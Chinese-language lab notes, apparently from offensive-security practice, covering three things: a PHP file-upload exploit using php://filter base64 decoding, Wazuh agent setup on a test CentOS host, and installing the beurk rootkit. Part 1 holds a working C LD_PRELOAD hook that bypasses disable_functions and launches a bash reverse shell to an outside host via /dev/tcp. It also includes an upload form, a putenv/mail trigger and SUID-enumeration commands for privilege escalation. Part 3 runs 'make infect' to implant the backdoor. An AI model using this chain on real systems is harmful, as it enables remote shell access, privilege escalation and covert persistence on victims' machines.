1,文件上传漏洞
使用php伪协议,php://filter
+convert.base64-decode过滤器
能解决问题。
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行
只需要用上述代码将上传的a.php
代码读取出来然后再用包含函数include结合即可,因此再上传b.php
(php函数名不区分大小写,可利用此点绕过)
php://filter/convert.base64-decode/resource=39ab6b7b4e9946f4fef4d99ee6be3446.php//php文件是刚刚上传的a.php
base64编码绕过——>
cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0zOWFiNmI3YjRlOTk0NmY0ZmVmNGQ5OWVlNmJlMzQ0Ni5waHA=
只需要用上述代码将上传的
a.php
代码读取出来然后再用包含函数include结合即可,因此再上传b.php
(php函数名不区分大小写,可利用此点绕过)
我们在getshell之后,就是bypass disable_function,这里使用LD_Preload来bypass
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/xxx.xx.xx.xxx/2333 0>&1'");
}
uid_t getuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
编译 gcc -shared -fPIC hook_getuid.c -o hook_getuid.so
用ftp或者file_put_contents或者SplFileObject上传
<?php
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
move_uploaded_file($temp_file, "/tmp/exp.so");
}
<form enctype="multipart/form-data" method="post" action="aaaaa.php">
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>
</form>
然后反弹shell
a=putenv("LD_PRELOAD=/var/www/html/uploads/exp.so");mail("","","","","");
suid提权
find /bin -perm -u=s -type f 2>/dev/null
find /usr -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
2,wazuh环境配置
现我们在wazuh上配置环境;模拟
客户机:centos 192.168.116.132
服务端:wazuh 192.168.116.131
因为没有给wazuh设置代理,centos上监控不到,因为没给定埋点,没有像远控木马一样的工具。 这里的埋点就是把代理的一个软件装到代理的端点上 在wazuh上选择监控的客户机类型
填写服务端wazuh的IP地址(注意一定是服务端)
设置代理名称及分组
将生成的代码复制到客户端
sudo WAZUH_MANAGER='192.168.116.131' WAZUH_AGENT_GROUP='default' WAZUH_AGENT_NAME='centos7' yum install -y https://packages.wazuh.com/4.x/yum/wazuh-agent-4.5.0-1.x86_64.rpm
开启代理
sudo systemctl daemon-reload
sudo systemctl enable wazuh-agent
sudo systemctl start wazuh-agent
wazuh所在目录
客户端的配置文件(ossec.conf)
查看服务端是否有客户端的代理
可以看到存在代理
一些功能也随之存在
3,beurk植入后门
su -
git clone git@github.com:unix-thrust/beurk.git
cd beurk
make && make infect
看配置文件端口
查看密码
输入命令
./client.py 192.168.116.132 3005 64840
输入查询到的密码,执行成功